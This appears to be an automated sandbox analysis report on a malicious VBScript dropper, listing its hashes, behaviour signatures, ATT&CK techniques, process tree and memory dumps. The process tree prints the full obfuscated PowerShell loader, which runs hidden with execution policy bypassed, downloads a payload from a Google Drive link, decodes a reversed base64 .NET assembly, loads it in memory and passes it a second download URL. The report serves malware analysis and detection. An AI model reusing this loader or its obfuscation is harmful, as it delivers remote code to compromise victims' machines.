270028765f570ebbb238ee6fb9460d1a674707016d97fc988f772195516ad3ff

General

Target

270028765f570ebbb238ee6fb9460d1a674707016d97fc988f772195516ad3ff.vbs
Size

140KB
MD5

cbcf626e71d764c178148e4637e333af
SHA1

c3e2615fea0051e63e817c7ad9cc17b59d6da776
SHA256

270028765f570ebbb238ee6fb9460d1a674707016d97fc988f772195516ad3ff
SHA512

da100c32335caf638e6ccdb0ec37c6e0c6596dfc98b09ef7c39c20911ddadc4576adb67e58187a008be6183bf7cfe89646558bb9abed10374d9e9c5902111fb3
SSDEEP

3072:ky7jgt5pEGwprytIsaK18meFZjcrsmiYADap1Ff:KRQjcQmiMp1Ff

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2688	powershell.exe
7	2688	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2664	powershell.exe
2688	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
5	drive.google.com
4	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2664	powershell.exe
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 628 wrote to memory of 2664	628	WScript.exe	31
PID 628 wrote to memory of 2664	628	WScript.exe	31
PID 628 wrote to memory of 2664	628	WScript.exe	31
PID 2664 wrote to memory of 2688	2664	powershell.exe	33
PID 2664 wrote to memory of 2688	2664	powershell.exe	33
PID 2664 wrote to memory of 2688	2664	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\270028765f570ebbb238ee6fb9460d1a674707016d97fc988f772195516ad3ff.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoKGdWICcqbURyKicpLm5hbUVbMywxMSwyXS1KT2luJycpKCgnZHZ1aW1hJysnZ2VVcmwgPSBGZ2EnKydodHRwczovL2RyaXZlLmdvb2dsZS5jb20vdWM/ZXhwb3J0PWRvd25sb2FkJmlkPTFVeUhxd3JuWENsS0JKM2o2M0xsMXQyU3RWZ0d4YlN0MCBGZ2E7ZHZ1d2ViQ2xpZW4nKyd0ID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtkdnVpbWFnZUJ5dGVzID0gZHZ1d2ViQ2xpZW50LkQnKydvd25sb2FkRGF0YShkdnVpbWFnZVVybCknKyc7JysnZHZ1JysnaW1hZ2VUZXh0ID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC4nKydHZXRTJysndHJpbmcoZHZ1aW1hZ2VCeXRlJysncyk7ZHZ1c3RhcnRGbGFnID0gRmdhPDxCQVNFNjRfU1RBUlQnKyc+PkZnYTtkdnVlbmRGbGFnID0gRmdhPDxCQVNFNjRfRU5EPj5GZ2E7ZHZ1c3RhcnRJbmRleCA9IGR2dWltYWdlVGV4dC5JbmRleE9mKGR2dXN0YXJ0RmxhZyk7ZHZ1ZW5kSW5kZXggPSBkdnVpbWFnZVRleHQuSW5kZXhPZihkdnVlbmRGbGEnKydnKTtkdnVzdGFydEluZGV4IC1nZSAwIC1hbmQgZHZ1ZW5kSW5kZXggLWd0IGR2dXN0YXJ0SW5kZXg7ZHZ1c3RhcnRJbmRleCArPSBkdnVzdGFydEZsYWcuTCcrJ2VuZ3RoO2R2dWJhc2U2NExlbmd0aCA9IGR2dWVuZEluZGV4IC0gZHZ1c3RhcnRJbmRleDtkdnViYXNlNjRDb21tYW5kID0gZHZ1aW1hZ2VUZXh0LlN1YnN0cmluZyhkdnVzdGFydEluZGV4LCBkdnUnKydiYXNlNjRMZW5ndGgpO2R2dWJhc2U2NFJldmVyc2VkID0gLWpvaW4gKGR2dWJhc2U2NENvbW1hbmQuVG9DaGFyQXInKydyYXkoKSBiSFogRm9yRWFjaC1PYmplY3QgeyBkdnVfIH0pWy0xLi4tKGR2dWJhcycrJ2U2NENvbW1hbmQuTGVuZ3RoKV07ZHZ1Y29tbWFuZEJ5dCcrJ2VzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyhkdnViYXNlNjRSZXZlcnNlZCk7ZHZ1bG9hZGVkQXNzZScrJ21ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKGR2dWNvbW1hbmRCeXRlcyk7ZHZ1dmFpTWV0aG9kID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChGZ2FWQUlGZ2EpO2R2dXZhaU1ldGhvZC5JbnZva2UoZHZ1bnVsbCwgQChGZ2F0eHQub29vb2RlZXZ2di8zODEuMTQyLjk0MS41NC8vOnB0dGhGZ2EsIEZnYScrJ2Rlc2F0aXZhZG9GZ2EsIEZnYWRlc2F0aXZhZG9GZ2EsIEZnYWRlc2F0aXZhZG9GZ2EsIEZnYU1TQnVpbGRGZ2EsICcrJ0ZnYWRlc2F0aXZhZG9GZ2EsIEZnYWRlc2F0aScrJ3ZhZG9GZ2EsRmdhZGVzYXRpJysndmFkb0ZnYSxGJysnZycrJ2FkZXNhdGl2YScrJ2RvRmdhLEZnYWRlc2F0aXZhZG9GZ2EsRmdhZGVzYXRpdmFkb0ZnYSxGZ2FkZXNhdGl2YWRvRmdhLEZnYTFGZ2EsRmdhZGVzYXRpdmFkb0ZnYSkpOycpLnJlcGxBY0UoJ2JIWicsJ3wnKS5yZXBsQWNFKChbY2hhcl0xMDArW2NoYXJdMTE4K1tjaGFyXTExNyksJyQnKS5yZXBsQWNFKCdGZ2EnLFtzdHJpbmddW2NoYXJdMzkpICk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ((gV '*mDr*').namE[3,11,2]-JOin'')(('dvuima'+'geUrl = Fga'+'https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0 Fga;dvuwebClien'+'t = New-Object System.Net.WebClient;dvuimageBytes = dvuwebClient.D'+'ownloadData(dvuimageUrl)'+';'+'dvu'+'imageText = [System.Text.Encoding]::UTF8.'+'GetS'+'tring(dvuimageByte'+'s);dvustartFlag = Fga<<BASE64_START'+'>>Fga;dvuendFlag = Fga<<BASE64_END>>Fga;dvustartIndex = dvuimageText.IndexOf(dvustartFlag);dvuendIndex = dvuimageText.IndexOf(dvuendFla'+'g);dvustartIndex -ge 0 -and dvuendIndex -gt dvustartIndex;dvustartIndex += dvustartFlag.L'+'ength;dvubase64Length = dvuendIndex - dvustartIndex;dvubase64Command = dvuimageText.Substring(dvustartIndex, dvu'+'base64Length);dvubase64Reversed = -join (dvubase64Command.ToCharAr'+'ray() bHZ ForEach-Object { dvu_ })[-1..-(dvubas'+'e64Command.Length)];dvucommandByt'+'es = [System.Convert]::FromBase64String(dvubase64Reversed);dvuloadedAsse'+'mbly = [System.Reflection.Assembly]::Load(dvucommandBytes);dvuvaiMethod = [dnlib.IO.Home].GetMethod(FgaVAIFga);dvuvaiMethod.Invoke(dvunull, @(Fgatxt.oooodeevvv/381.142.941.54//:ptthFga, Fga'+'desativadoFga, FgadesativadoFga, FgadesativadoFga, FgaMSBuildFga, '+'FgadesativadoFga, Fgadesati'+'vadoFga,Fgadesati'+'vadoFga,F'+'g'+'adesativa'+'doFga,FgadesativadoFga,FgadesativadoFga,FgadesativadoFga,Fga1Fga,FgadesativadoFga));').replAcE('bHZ','|').replAcE(([char]100+[char]118+[char]117),'$').replAcE('Fga',[string][char]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1e2a161c0f561ed2203faf0dcf1395dc

SHA1
4b4811e31ed88ffc1480780e141e92ff481f21fc

SHA256
2395e394669cc1822814f53529ae3b68a09b7f438a053e7be85f5314bad667bc

SHA512
ed72dd9d520be773724fee439f6834215e4a8ad6cfaef3a93a5ecf1ad8513a87874370516867596f658ab938c18136fd008948fd9bbf32b7426677d5a3499133

Download Submit
memory/2664-8-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-7-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-6-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download
memory/2664-9-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-10-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-4-0x000007FEF605E000-0x000007FEF605F000-memory.dmp

Filesize
4KB

Download
memory/2664-11-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-5-0x000000001B460000-0x000000001B742000-memory.dmp

Filesize
2.9MB

Download
memory/2664-17-0x000007FEF605E000-0x000007FEF605F000-memory.dmp

Filesize
4KB

Download
memory/2664-18-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2664-22-0x000007FEF5DA0000-0x000007FEF673D000-memory.dmp

Filesize
9.6MB

Download
memory/2688-21-0x000000001AEB0000-0x000000001B008000-memory.dmp

Filesize
1.3MB

Download

Analysis

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